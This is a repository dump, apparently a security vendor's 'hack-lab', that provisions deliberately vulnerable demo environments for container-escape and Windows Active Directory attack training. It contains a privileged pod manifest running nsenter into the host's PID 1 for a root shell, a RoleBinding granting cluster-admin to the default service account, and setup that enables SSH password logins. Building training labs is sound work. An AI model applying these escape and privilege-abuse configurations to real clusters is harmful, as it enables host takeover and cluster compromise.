44 | sudo [ ! -f $ROOT_DIR/pod-esc12 ] && echo ' image: ubuntu' > $ROOT_DIR/pod-esc12 45 | sudo [ ! -f $ROOT_DIR/pod-esc13 ] && echo ' tty: true' > $ROOT_DIR/pod-esc13 46 | sudo [ ! -f $ROOT_DIR/pod-esc14 ] && echo ' securityContext:' > $ROOT_DIR/pod-esc14 47 | sudo [ ! -f $ROOT_DIR/pod-esc15 ] && echo ' privileged: true' > $ROOT_DIR/pod-esc15 48 | sudo [ ! -f $ROOT_DIR/pod-esc16 ] && echo ' command: [ "nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash" ]' > $ROOT_DIR/pod-esc16 49 | 50 | sudo cat $ROOT_DIR/pod-esc* > $ROOT_DIR/pod-esc.yaml 51 | 52 | sudo rm $ROOT_DIR/pod-esc{01..16} -------------------------------------------------------------------------------- /hack-lab/container-escape/gcp/variables.tf: -------------------------------------------------------------------------------- 1 | variable "region" { 2 | description = "The region/location where to deploy" 3 | type = string 4 | } 5 | 6 | variable "zone" { 7 | description = "The zone where to deploy" 8 | type = string 9 | } 10 | 11 | variable "project_id" { 12 | type = string 13 | } 14 | 15 | variable "project_number" { 16 | type = string 17 | } 18 | 19 | variable "gke_version" { 20 | type = string 21 | default = "1.25.15-gke.1083000" 22 | } 23 | -------------------------------------------------------------------------------- /hack-lab/container-escape/gcp/versions.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_providers { 3 | google = { 4 | source = "hashicorp/google" 5 | version = "4.62.0" 6 | } 7 | 8 | google-beta = { 9 | source = "hashicorp/google-beta" 10 | version = "4.62.0" 11 | } 12 | 13 | random = { 14 | source = "hashicorp/random" 15 | version = "3.5.1" 16 | } 17 | 18 | time = { 19 | source = "hashicorp/time" 20 | version = "0.9.1" 21 | } 22 | } 23 | } -------------------------------------------------------------------------------- /hack-lab/container-escape/minikube/README.md: -------------------------------------------------------------------------------- 1 | # DOD Amsterdam Hacklab 2 | 3 | This folder contains Terraform automation code to provision the following: 4 | 5 | - **AWS VPC** 6 | - **Kali Linux AWS EC2 Instance** - This instance is provisioned for the demonstration of the container-escape and windows hack. 7 | - **Ubuntu 20.04 AWS EC2 Instance** - This instance is provisioned for the minikube and to demonstrate the container escape 8 | - **Windows 2016** - This instance is provisioned for the demonstration of the Windows Hack and PrintNightmare vulnerability. (ami-0808d6a0d91e57fd3 in eu-central-1) 9 | 10 | ### Prerequisites 11 | 12 | - [AWS Account](https://aws.amazon.com/free/) 13 | - [AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2.html) - `~> aws-cli/2.4.28` 14 | - [Terraform](https://learn.hashicorp.com/tutorials/terraform/install-cli) - `~> v1.0.5` 15 | - [AWS EC2 Key Pair](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/create-key-pairs.html) - You should already have an AWS key pair created and uploaded to the region where you want to provision. 16 | 17 | ## Configuration 18 | 19 | Before provisioning set the following environment variables: 20 | 21 | - `TF_VAR_region` - AWS region where you want to provision the cluster. 22 | - `TF_VAR_demo_name` - This is a prefix that will be applied to all provisioned resources (i.e. `your_name`). 23 | - `TF_VAR_ssh_key` - AWS EC2 key pair for Kali linux access. 24 | - `TF_VAR_ssh_key_path` - Path to to local ssh key for connecting to Kali Linux instance. 25 | - `TF_VAR_publicIP` - IP address of your home network to be applied to the security group for the Kali Linux, Ubuntu and Windows instance. example: `1.1.1.1/32` 26 | 27 | ### Example configuration 28 | 29 | Open a terminal and run the following commands: 30 | 31 | ```bash 32 | export TF_VAR_region=eu-central-1 33 | 34 | export TF_VAR_demo_name=dod-amsterdam 35 | 36 | export TF_VAR_ssh_key=patrick-key 37 | 38 | export TF_VAR_publicIP="1.1.1.1/32" 39 | ``` 40 | 41 | ## Provision a single environment 42 | 43 | 1. Clone the project 44 | 45 | ```bash title="Clone the project" 46 | https://github.com/Lunalectric/container-escape 47 | ``` 48 | 49 | 2. cd into the dod-amsterdam-hacklab folder 50 | 51 | ```bash 52 | cd container-escape/minikube 53 | ``` 54 | 55 | 3. Initialize the project (download modules) 56 | 57 | ```bash 58 | terraform init 59 | ``` 60 | 61 | 4. Check that everything is ready 62 | 63 | ```bash 64 | terraform plan 65 | ``` 66 | 67 | 5. Apply the configuration 68 | 69 | ```bash 70 | terraform apply -auto-approve 71 | ``` 72 | 73 | 6. Create Hack-Write-up as Markdown 74 | 75 | ```bash 76 | terraform output | sed "/^EOT/c\ " | sed "/hack_write_up = < Hack-writeup.md 77 | ``` 78 | 79 | Once the provisioning completes you will see something like this: 80 | 81 | ```bash 82 | Apply complete! Resources: 0 added, 0 changed, 0 destroyed. 83 | 84 | Outputs: 85 | 86 | hack_write_up = < terraform-run.log 65 | sed "/^EOT/c\ " terraform-run.log | sed "/hack_write_up = < "$c.md" 66 | cd ../../ 67 | 68 | sleep 1 69 | done 70 | -------------------------------------------------------------------------------- /hack-lab/container-escape/minikube/multi_destroy.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright (c) Mondoo, Inc. 3 | # SPDX-License-Identifier: MPL-2.0 4 | 5 | 6 | ############################################################ 7 | # Help # 8 | ############################################################ 9 | Help() 10 | { 11 | # Display Help 12 | echo "Destroy terraform template multiple times with -c." 13 | echo 14 | echo "Syntax: multi_destroy [-c|-h]" 15 | echo "options:" 16 | echo "c count" 17 | echo "h Print this Help." 18 | echo 19 | } 20 | 21 | # Set variables 22 | Count=0 23 | 24 | ############################################################ 25 | # Process the input options. Add options as needed. # 26 | ############################################################ 27 | # Get the options 28 | while getopts ":hc:" option; do 29 | case $option in 30 | h) # display Help 31 | Help 32 | exit;; 33 | c) # Enter a count 34 | Count=$OPTARG;; 35 | \?) # Invalid option 36 | echo "Error: Invalid option" 37 | exit;; 38 | esac 39 | done 40 | 41 | if [ $Count == 0 ]; 42 | then 43 | Help 44 | exit; 45 | fi 46 | 47 | echo "Destroy $Count evironments" 48 | 49 | for (( c=1; c<=$Count; c++ )) 50 | do 51 | Folder="deployments/$c" 52 | 53 | cd $Folder 54 | source ./set-exports.sh 55 | terraform apply -destroy -auto-approve 56 | 57 | cd ../../ 58 | 59 | sleep 1 60 | done 61 | -------------------------------------------------------------------------------- /hack-lab/container-escape/minikube/provider.tf: -------------------------------------------------------------------------------- 1 | provider "aws" { 2 | region = var.region 3 | } 4 | -------------------------------------------------------------------------------- /hack-lab/container-escape/minikube/templates/change-password.tpl: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | echo "kali:${pass_string}" | sudo chpasswd 4 | sed -i "/^[^#]*PasswordAuthentication[[:space:]]no/c\PasswordAuthentication yes" /etc/ssh/sshd_config 5 | systemctl restart sshd 6 | 7 | sudo mkdir /tmp/ssm 8 | cd /tmp/ssm 9 | wget https://s3.amazonaws.com/ec2-downloads-windows/SSMAgent/latest/debian_amd64/amazon-ssm-agent.deb 10 | sudo dpkg -i amazon-ssm-agent.deb 11 | sudo systemctl enable amazon-ssm-agent 12 | rm amazon-ssm-agent.deb -------------------------------------------------------------------------------- /hack-lab/container-escape/minikube/templates/minikube-install.tpl: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | sudo apt update && sudo apt remove -y netcat-openbsd && sudo apt install -y netcat-traditional jq 4 | sudo apt install -y ca-certificates curl gnupg lsb-release 5 | sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg 6 | sudo echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null 7 | sudo apt update 8 | sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose 9 | 10 | sudo usermod -a -G docker ubuntu 11 | 12 | sudo apt install -y uidmap 13 | dockerd-rootless-setuptool.sh uninstall --force 14 | 15 | wget https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 16 | chmod +x minikube-linux-amd64 17 | sudo mv minikube-linux-amd64 /usr/local/bin/minikube 18 | 19 | minikube version 20 | 21 | curl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl 22 | chmod +x ./kubectl 23 | sudo mv ./kubectl /usr/local/bin/kubectl 24 | 25 | echo "ubuntu:${pass_string}" | sudo chpasswd 26 | sed -i "/^[^#]*PasswordAuthentication[[:space:]]no/c\PasswordAuthentication yes" /etc/ssh/sshd_config 27 | systemctl restart sshd 28 | 29 | curl -ko /home/ubuntu/dvwa-deployment-no-privileged.yaml https://raw.githubusercontent.com/Lunalectric/container-escape/main/assets/dvwa-deployment-no-privileged.yml 30 | curl -ko /home/ubuntu/dvwa-deployment.yaml https://raw.githubusercontent.com/Lunalectric/container-escape/main/assets/dvwa-deployment.yml 31 | 32 | cat << EOF >> /home/ubuntu/rolebinding-abuse.yaml 33 | apiVersion: rbac.authorization.k8s.io/v1 34 | kind: RoleBinding 35 | metadata: 36 | name: abuse-role 37 | namespace: default 38 | roleRef: 39 | apiGroup: rbac.authorization.k8s.io 40 | kind: ClusterRole 41 | name: cluster-admin 42 | subjects: 43 | - namespace: default 44 | kind: ServiceAccount 45 | name: default 46 | EOF -------------------------------------------------------------------------------- /hack-lab/container-escape/minikube/variables.tf: -------------------------------------------------------------------------------- 1 | // VARIABLES 2 | 3 | variable "region" { 4 | default = "us-east-2" 5 | description = "AWS Region" 6 | } 7 | 8 | variable "demo_name" { 9 | description = "A name to be applied as a suffix to project resources" 10 | type = string 11 | } 12 | 13 | variable "ssh_key" { 14 | description = "SSH key associated with instances" 15 | } 16 | 17 | variable "ssh_key_path" { 18 | default = "$HOME/.ssh/id_rsa" 19 | description = "Path to SSH key used for Kali Linux instance" 20 | } 21 | 22 | variable "publicIP" { 23 | description = "Your home PublicIP to configure access to VMs(if needed)" 24 | } 25 | -------------------------------------------------------------------------------- /hack-lab/container-escape/minikube/versions.tf: -------------------------------------------------------------------------------- 1 | terraform { 2 | required_providers { 3 | aws = { 4 | source = "hashicorp/aws" 5 | version = "~> 4.33.0" 6 | } 7 | 8 | random = { 9 | source = "hashicorp/random" 10 | version = "~> 3.4.3" 11 | } 12 | 13 | local = { 14 | source = "hashicorp/local" 15 | version = "~> 2.2.3" 16 | } 17 | } 18 | } -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/README.md: -------------------------------------------------------------------------------- 1 | # Windows Hack Demo 2 | 3 | This folder contains Terraform automation code to provision the following: 4 | 5 | - **AWS VPC** 6 | - **Kali Linux AWS EC2 Instance** - This instance is provisioned for the demonstration of the Windows hack, it is the attacker vm. 7 | - **Windows 2022 AD** - This instance is provisioned for the demonstration of Windows Active Directory hacks. 8 | - **Windows 2016 Exchange** - This instance is provisioned for the demonstration of the Windows Exchange hacks. 9 | - **Windows 2016 DVWA** - This instance is provisioned for the demonstration of the Windows Hack and PrintNightmare vulnerability/ DVWA App hack. (ami-0808d6a0d91e57fd3 in eu-central-1) 10 | 11 | ### Prerequisites 12 | 13 | - [AWS Account](https://aws.amazon.com/free/) 14 | - [AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/install-cliv2.html) - `~> aws-cli/2.4.28` 15 | - [Terraform](https://learn.hashicorp.com/tutorials/terraform/install-cli) - `~> v1.0.5` 16 | - [AWS EC2 Key Pair](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/create-key-pairs.html) - You should already have an AWS key pair created and uploaded to the region where you want to provision. 17 | - [Ansible](https://www.ansible.com/) 18 | 19 | #### Ansible 20 | 21 | Install the following Ansible collections 22 | 23 | ```bash 24 | ansible-galaxy collection install ansible.windows 25 | ansible-galaxy collection install community.windows 26 | ansible-galaxy collection install microsoft.ad 27 | ansible-galaxy collection install chocolatey.chocolatey 28 | ``` 29 | 30 | ## Configuration 31 | 32 | Before provisioning set the following environment variables: 33 | 34 | - `TF_VAR_region` - AWS region where you want to provision the cluster. 35 | - `TF_VAR_demo_name` - This is a prefix that will be applied to all provisioned resources (i.e. `your_name`). 36 | - `TF_VAR_ssh_key` - AWS EC2 key pair for Kali linux access. 37 | - `TF_VAR_ssh_key_path` - Path to to local ssh key for connecting to Kali Linux instance. 38 | - `TF_VAR_publicIP` - IP address of your home network to be applied to the security group for the Kali Linux, Ubuntu and Windows instance. example: `1.1.1.1/32` 39 | 40 | ### Example configuration 41 | 42 | Open a terminal and run the following commands: 43 | 44 | ```bash 45 | export TF_VAR_region=us-east-1 46 | 47 | export TF_VAR_demo_name=Mondoo-hacking 48 | 49 | export TF_VAR_ssh_key=key 50 | 51 | export TF_VAR_ssh_key_path="~/.ssh/key.pem" 52 | 53 | export TF_VAR_publicIP="1.1.1.1/32" 54 | 55 | export TF_VAR_admin_password="MondooSPM1!" 56 | ``` 57 | 58 | ```bash title="set-exports.sh" 59 | #!/bin/bash 60 | 61 | export AWS_REGION=us-east-1 62 | export AWS_PROFILE=default 63 | export TF_VAR_region=us-east-1 64 | export TF_VAR_demo_name=Mondoo-hacking 65 | export TF_VAR_ssh_key=key 66 | export TF_VAR_ssh_key_path="~/.ssh/key.pem" 67 | export TF_VAR_publicIP="1.1.1.1/32" 68 | ``` 69 | 70 | ## Provision a single environment 71 | 72 | 1. Clone the project 73 | 74 | ```bash title="Clone the project" 75 | git clone git@github.com:Lunalectric/windows-hack-environment.git 76 | ``` 77 | 78 | 2. cd into the windows-hack-demo folder 79 | 80 | ```bash 81 | cd windows-hack-environment 82 | ``` 83 | 84 | 3. Initialize the project (download modules) 85 | 86 | ```bash 87 | terraform init 88 | ``` 89 | 90 | 4. Check that everything is ready 91 | 92 | ```bash 93 | terraform plan -out plan.out 94 | ``` 95 | 96 | 5. Apply the configuration 97 | 98 | ```bash 99 | terraform apply -auto-approve plan.out 100 | ``` 101 | 102 | Once the provisioning completes you will see something like this: 103 | 104 | ```bash 105 | Apply complete! Resources: 39 added, 0 changed, 0 destroyed. 106 | 107 | Outputs: 108 | 109 | hack_write_up = < -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/Backup.xml: -------------------------------------------------------------------------------- 1 | 2 | 01 00 04 9c 00 00 00 00 00 00 00 00 00 00 00 00 14 00 00 00 04 00 ec 00 08 00 00 00 05 02 28 00 00 01 00 00 01 00 00 00 8f fd ac ed b3 ff d1 11 b4 1d 00 a0 c9 68 f9 39 01 01 00 00 00 00 00 05 0b 00 00 00 00 00 24 00 ff 00 0f 00 01 05 00 00 00 00 00 05 15 00 00 00 3c 92 8d 14 b2 58 68 65 58 ed aa 6f 00 02 00 00 00 02 24 00 ff 00 0f 00 01 05 00 00 00 00 00 05 15 00 00 00 3c 92 8d 14 b2 58 68 65 58 ed aa 6f 00 02 00 00 00 02 24 00 ff 00 0f 00 01 05 00 00 00 00 00 05 15 00 00 00 3c 92 8d 14 b2 58 68 65 58 ed aa 6f 07 02 00 00 00 02 14 00 94 00 02 00 01 01 00 00 00 00 00 05 09 00 00 00 00 02 14 00 94 00 02 00 01 01 00 00 00 00 00 05 0b 00 00 00 00 02 14 00 ff 00 0f 00 01 01 00 00 00 00 00 05 12 00 00 00 00 0a 14 00 ff 00 0f 00 01 01 00 00 00 00 00 03 00 00 00 00 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/DomainSysvol/GPO/Machine/Microsoft/Windows NT/SecEdit/GptTmpl.inf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/DomainSysvol/GPO/Machine/Microsoft/Windows NT/SecEdit/GptTmpl.inf -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/DomainSysvol/GPO/Machine/registry.pol: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/DomainSysvol/GPO/Machine/registry.pol -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/bkupInfo.xml: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/gpreport.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mondoohq/samples/d063ef3c446687b3214dd175b2d4087e73cc1c0a/hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/files/gpo_backup/{7019A447-1699-4D1A-AF1F-FB6064E39B62}/gpreport.xml -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/library/win_adcs_template.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Copyright: (c) 2018, Jordan Borean 5 | # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) 6 | 7 | ANSIBLE_METADATA = {'metadata_version': '1.1', 8 | 'status': ['preview'], 9 | 'supported_by': 'community'} 10 | 11 | DOCUMENTATION = r''' 12 | --- 13 | module: win_adcs_template 14 | short_description: Imports a certificate template into AD CS. 15 | description: 16 | - This module will import a template provided by the I(template) option into 17 | the local AD CS instance. 18 | - This template must be manually exported from AD CS as it is follows a 19 | particular format, see U(https://blogs.technet.microsoft.com/pki/2009/09/25/introducing-certificate-template-api/) 20 | for a guide on how to do that. 21 | options: 22 | dacl: 23 | description: 24 | - A list of DACL entries to apply to the imported template. 25 | - This is only applied if the template has not already been imported. 26 | suboptions: 27 | user: 28 | description: 29 | - The user or SID to apply the DACL entry to. 30 | required: yes 31 | rights: 32 | description: 33 | - A list of rights to apply for the DACL entry. 34 | required: yes 35 | choices: 36 | - read_control 37 | - delete 38 | - write_dac 39 | - write_owner 40 | - read_prop 41 | - write_prop 42 | - create_child 43 | - delete_child 44 | - list_child 45 | - self_write 46 | - list_object 47 | - delete_tree 48 | - control_access 49 | type: 50 | description: 51 | - If the ACE entry is an object ACE, this is the type of object. 52 | choices: 53 | - enroll 54 | - auto_enroll 55 | qualifier: 56 | description: 57 | - The value that specified the ACE qualifier. 58 | options: 59 | - AccessAllowed 60 | - AccessDenied 61 | - SystemAlarm 62 | - SystemAudit 63 | group: 64 | description: 65 | - The account or SID of the group applied to the template's security 66 | descriptor. 67 | - This is only applied if the template is imported. 68 | owner: 69 | description: 70 | - The account or SID of the owner applied to the template's security 71 | descriptor. 72 | - This is only applied if the template is imported. 73 | templates: 74 | description: 75 | - The XML string that defines the template(s) to import. 76 | - This value is from the exported template from an existing AD CS server. 77 | required: yes 78 | notes: 79 | - This module requires Ansible become to run, if become is not set on the 80 | Ansible task explicitly, then the C(SYSTEM) account will be used. 81 | - This module will import the template to the default AD CS server that is 82 | configured on the remote host. 83 | - This module uses components that are only available on Server 2012 or newer. 84 | author: 85 | - Jordan Borean (@jborean93) 86 | ''' 87 | 88 | EXAMPLES = r''' 89 | - name: import AD CS template 90 | win_adcs_template: 91 | templates: '{{ lookup("template", "certificate.xml.j2") }}' 92 | dacl: 93 | - user: Enterprise Admins 94 | rights: 95 | - create_child 96 | - delete_child 97 | - list_child 98 | - self_write 99 | qualifier: AccessAllowed 100 | - user: Domain Computers 101 | rights: 102 | - control_access 103 | type: auto_enroll 104 | qualifier: AllowAccess 105 | - user: Domain Computers 106 | rights: 107 | - read_prop 108 | - write_prop 109 | - control_access 110 | type: enroll 111 | qualifier: AllowAccess 112 | owner: Enterprise Admins 113 | group: Enterprise Admins 114 | ''' 115 | 116 | RETURN = r''' 117 | added_templates: 118 | description: A list of templates that were added 119 | returned: always 120 | type: list 121 | sample: ["Template2"] 122 | templates: 123 | description: A list of templates that were read in the I(templates) XML 124 | string 125 | returned: always 126 | type: list 127 | sample: ["Template1", "Template2", "Template3"] 128 | sddl: 129 | description: The SDDL string that will be applied to the imported templates 130 | returned: always 131 | type: str 132 | sample: 'O:EAG:EAD:PAI(A;;CCDCLCSW;;;EA)(OA;;RPWPCR;0e10c968-78fb-11d2-90d4-00c04f79dc55;;DC)(OA;;CR;a05b8cc2-17bc-4802-a710-e7c15ab866a2;;DC)' 133 | skipped_templates: 134 | description: A list of templates that were not added as they were already 135 | present 136 | returned: always 137 | type: list 138 | sample: ["Template1", "Template3"] 139 | ''' 140 | 141 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/library/win_gpo_link.ps1: -------------------------------------------------------------------------------- 1 | #!powershell 2 | 3 | # Copyright: (c) 2018, Jordan Borean 4 | # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) 5 | 6 | #Requires -Module Ansible.ModuleUtils.Legacy 7 | 8 | $params = Parse-Args -arguments $args -supports_check_mode $true 9 | $check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false 10 | 11 | $name = Get-AnsibleParam -obj $params -name "name" -type "str" -failifempty $true 12 | $state = Get-AnsibleParam -obj $params -name "state" -type "str" -default "present" -ValidateSet "absent", "present" 13 | $enforced = Get-AnsibleParam -obj $params -name "enforced" -type "bool" 14 | $enabled = Get-AnsibleParam -obj $params -name "enabled" -type "bool" 15 | $target = Get-AnsibleParam -obj $params -name "target" -type "str" 16 | 17 | if (-not $target) { 18 | $target = (Get-ADRootDSE).defaultNamingContext 19 | } 20 | 21 | $result = @{ 22 | changed = $false 23 | } 24 | 25 | $link = (Get-GPInheritance -Target $target).GpoLinks | Where-Object { $_.DisplayName -eq $name } 26 | if ($state -eq "present") { 27 | if (-not $link) { 28 | $link = New-GPLink -Name $name -Target $target -WhatIf:$check_mode 29 | $result.changed = $true 30 | } 31 | 32 | if ($null -ne $enabled -and $link.Enabled -ne $enabled) { 33 | $enabled_value = if ($enabled) { "Yes" } else { "No" } 34 | $link = $link | Set-GPLink -LinkEnabled $enabled_value -WhatIf:$check_mode 35 | $result.changed = $true 36 | } 37 | if ($null -ne $enforced -and $link.Enforced -ne $enforced) { 38 | $enforced_value = if ($enforced) { "Yes" } else { "No" } 39 | $link = $link | Set-GPLink -Enforced $enforced_value -WhatIf:$check_mode 40 | $result.changed = $true 41 | } 42 | } else { 43 | if ($link) { 44 | $link | Remove-GPLink -WhatIf:$check_mode 45 | $result.changed = $true 46 | } 47 | } 48 | 49 | Exit-Json -obj $result 50 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/library/win_gpo_link.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Copyright: (c) 2018, Jordan Borean 5 | # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) 6 | 7 | ANSIBLE_METADATA = {'metadata_version': '1.1', 8 | 'status': ['preview'], 9 | 'supported_by': 'community'} 10 | 11 | DOCUMENTATION = r''' 12 | --- 13 | module: win_gpo_link 14 | short_description: Sets up a GPO link. 15 | description: 16 | - Can link a GPO to the target specified. 17 | options: 18 | name: 19 | description: 20 | - The name of the GPO to manage the link for. 21 | required: yes 22 | state: 23 | description: 24 | - When C(yes), the link will be created. 25 | - When C(no), the link will be removed. 26 | choices: 27 | - absent 28 | - present 29 | default: present 30 | enforced: 31 | description: 32 | - Whether the link will be enforced or not. 33 | type: bool 34 | enabled: 35 | description: 36 | - Whether the link will be enabled or not. 37 | type: bool 38 | target: 39 | description: 40 | - The LDAP path of the target to link the GPO to. 41 | - When not specified, this will be the whole domain. 42 | author: 43 | - Jordan Borean (@jborean93) 44 | ''' 45 | 46 | EXAMPLES = r''' 47 | - name: link and enable, force the GPO test-gpo to the root domain 48 | win_gpo_link: 49 | name: test-gpo 50 | state: present 51 | enforced: yes 52 | enabled: yes 53 | 54 | - name: remove the GPO link for test-gpo on the root domain 55 | win_gpo_link: 56 | name: test-gpo 57 | state: absent 58 | 59 | - name: link the GPO test-gpo to the Servers OU container 60 | win_gpo_link: 61 | name: test-gpo 62 | state: present 63 | target: OU=Server,DC=domain,DC=local 64 | ''' 65 | 66 | RETURN = r''' 67 | ''' 68 | 69 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/library/win_gpo_reg.ps1: -------------------------------------------------------------------------------- 1 | #!powershell 2 | 3 | # Copyright: (c) 2018, Jordan Borean 4 | # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) 5 | 6 | #Requires -Module Ansible.ModuleUtils.Legacy 7 | 8 | $ErrorActionPreference = "Stop" 9 | 10 | $params = Parse-Args -arguments $args -supports_check_mode $true 11 | $check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false 12 | 13 | $gpo = Get-AnsibleParam -obj $params -name "gpo" -type "str" -failifempty $true 14 | $path = Get-AnsibleParam -obj $params -name "path" -type "str" -failifempty $true 15 | $name = Get-AnsibleParam -obj $params -name "name" -type "str" -default "" 16 | $value = Get-AnsibleParam -obj $params -name "value" -type "str" 17 | $type = Get-AnsibleParam -obj $params -name "type" -type "str" -default "String" -ValidateSet "String", "ExpandString", "Binary", "DWord", "MultiString", "QWord" 18 | 19 | $result = @{ 20 | changed = $false 21 | } 22 | 23 | $existing_value = Get-GPRegistryValue -Name $gpo -Key $path -ValueName $name 24 | $before_value = $existing_value.Value 25 | $before_type = $existing_value.Type.ToString() 26 | 27 | # it seems like strings values returned with Get-GPRegistryValue have a null 28 | # terminator on the end, Set-GPRegistryValue does not require this and takes 29 | # the string literally so we will lop it off before comparing with our value 30 | if ($before_type -in @("String", "ExpandString")) { 31 | if ($before_value.EndsWith([char]0x0000)) { 32 | $before_value = $before_value.Substring(0, $before_value.Length - 1) 33 | } 34 | } 35 | 36 | $result.before_value = $before_value 37 | $result.before_type = $before_type 38 | if (($before_value -ne $value) -or ($before_type -ne $type)) { 39 | Set-GPRegistryValue -Name $gpo -Key $path -ValueName $name -Value $value -Type $type -WhatIf:$check_mode > $null 40 | $result.changed = $true 41 | } 42 | 43 | Exit-Json -obj $result 44 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/library/win_gpo_reg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Copyright: (c) 2018, Jordan Borean 5 | # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) 6 | 7 | ANSIBLE_METADATA = {'metadata_version': '1.1', 8 | 'status': ['preview'], 9 | 'supported_by': 'community'} 10 | 11 | DOCUMENTATION = r''' 12 | --- 13 | module: win_gpo_reg 14 | short_description: Configured a registry-based policy in a GPO. 15 | description: 16 | - This module will configure a registry based policy under either Computer 17 | COnfiguration or User Configuration in a Group Policy Object (GPO). 18 | - This uses the *-GPRegistryValue cmdlets and are restricted to what they can 19 | do, see U(https://docs.microsoft.com/en-us/powershell/module/grouppolicy/get-gpregistryvalue?view=win10-ps) 20 | for more details. 21 | options: 22 | gpo: 23 | description: 24 | - The GPO that contains the registry policy to configure. 25 | required: yes 26 | path: 27 | description: 28 | - The registry path starting with either C(HKLM\) or C(HKCU\) to the 29 | registry key to configure. 30 | required: yes 31 | name: 32 | description: 33 | - The name of the registry property to set the value for. 34 | - If omitted then this will be the default value of the key specified by 35 | I(path). 36 | value: 37 | description: 38 | - The value of the registry property to set. 39 | - Not specifying this option will set the registry property to null. 40 | type: 41 | description: 42 | - The type of value to set. 43 | - If the type does not match the existing type, then a change will occur 44 | with the new type set. 45 | choices: 46 | - String 47 | - ExpandString 48 | - Binary 49 | - DWord 50 | - MultiString 51 | - QWord 52 | default: String 53 | author: 54 | - Jordan Borean (@jborean93) 55 | ''' 56 | 57 | EXAMPLES = r''' 58 | - name: set the value of the default registry property on the path 59 | win_gpo_reg: 60 | gpo: test-gpo 61 | path: HKLM\Software\Policies\Microsoft\Cryptography\PolicyServers 62 | value: '{3ae4929f-4e0f-4a31-bd53-8fc5a98c2390}' 63 | type: String 64 | 65 | - name: set the value of a named registry property on the path 66 | win_gpo_reg: 67 | gpo: test-gpo 68 | path: HKLM\Software\Policies\Microsoft\Cryptography\PolicyServers\37c9dc30f207f27f61a2f7c3aed598a6e2920b54 69 | name: PolicyID 70 | value: '{3ae4929f-4e0f-4a31-bd53-8fc5a98c2390}' 71 | type: String 72 | ''' 73 | 74 | RETURN = r''' 75 | before_value: 76 | description: The value that was previously set 77 | returned: always 78 | type: str 79 | sample: original value 80 | before_type: 81 | description: The type of the value that was previously set 82 | returned: always 83 | type: str 84 | sample: String 85 | ''' 86 | 87 | -------------------------------------------------------------------------------- /hack-lab/windows-hack-environment/ansible-inventory/roles/adcs-enrollment/tasks/adcs_template.yml: -------------------------------------------------------------------------------- 1 | # These steps are following the ones shown at just in code form 2 | # 